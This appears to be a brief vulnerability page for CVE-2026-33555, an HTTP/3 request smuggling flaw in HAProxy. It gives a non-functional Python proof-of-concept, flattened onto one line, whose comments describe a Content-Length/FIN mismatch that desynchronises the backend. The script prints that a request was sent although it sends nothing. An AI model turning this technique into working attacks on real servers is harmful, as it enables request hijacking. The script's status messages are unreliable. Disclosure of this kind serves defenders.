CVE-2026-33555: HAProxy HTTP/3请求走私漏洞

import socket import ssl # This is a conceptual PoC for HTTP/3 Request Smuggling in HAProxy. # Actual exploitation requires a QUIC library implementation (e.g., aioquic). def send_smuggling_request(target_host, target_port): # In a real scenario, construct a QUIC stream with: # 1. A HEADERS frame containing "Content-Length: 100" # 2. A DATA frame with 0 bytes payload but the FIN stream flag set. # 3. This causes HAProxy to expect 100 bytes but receive 0, triggering desync. print(f"[*] Targeting {target_host}:{target_port}") print("[*] Sending malicious HTTP/3 stream with CL mismatch...") # Pseudo-code for the packet logic headers = { ":method": "POST", ":path": "/", "content-length": "100" # Announce length } body_payload = b"" # Empty payload fin_flag = True # Close stream immediately # The vulnerability is that HAProxy does not check: len(body_payload) == headers['content-length'] # when fin_flag is True. print("[+] Request sent. Backend desynchronization possible.") if __name__ == "__main__": send_smuggling_request("example.com", 443)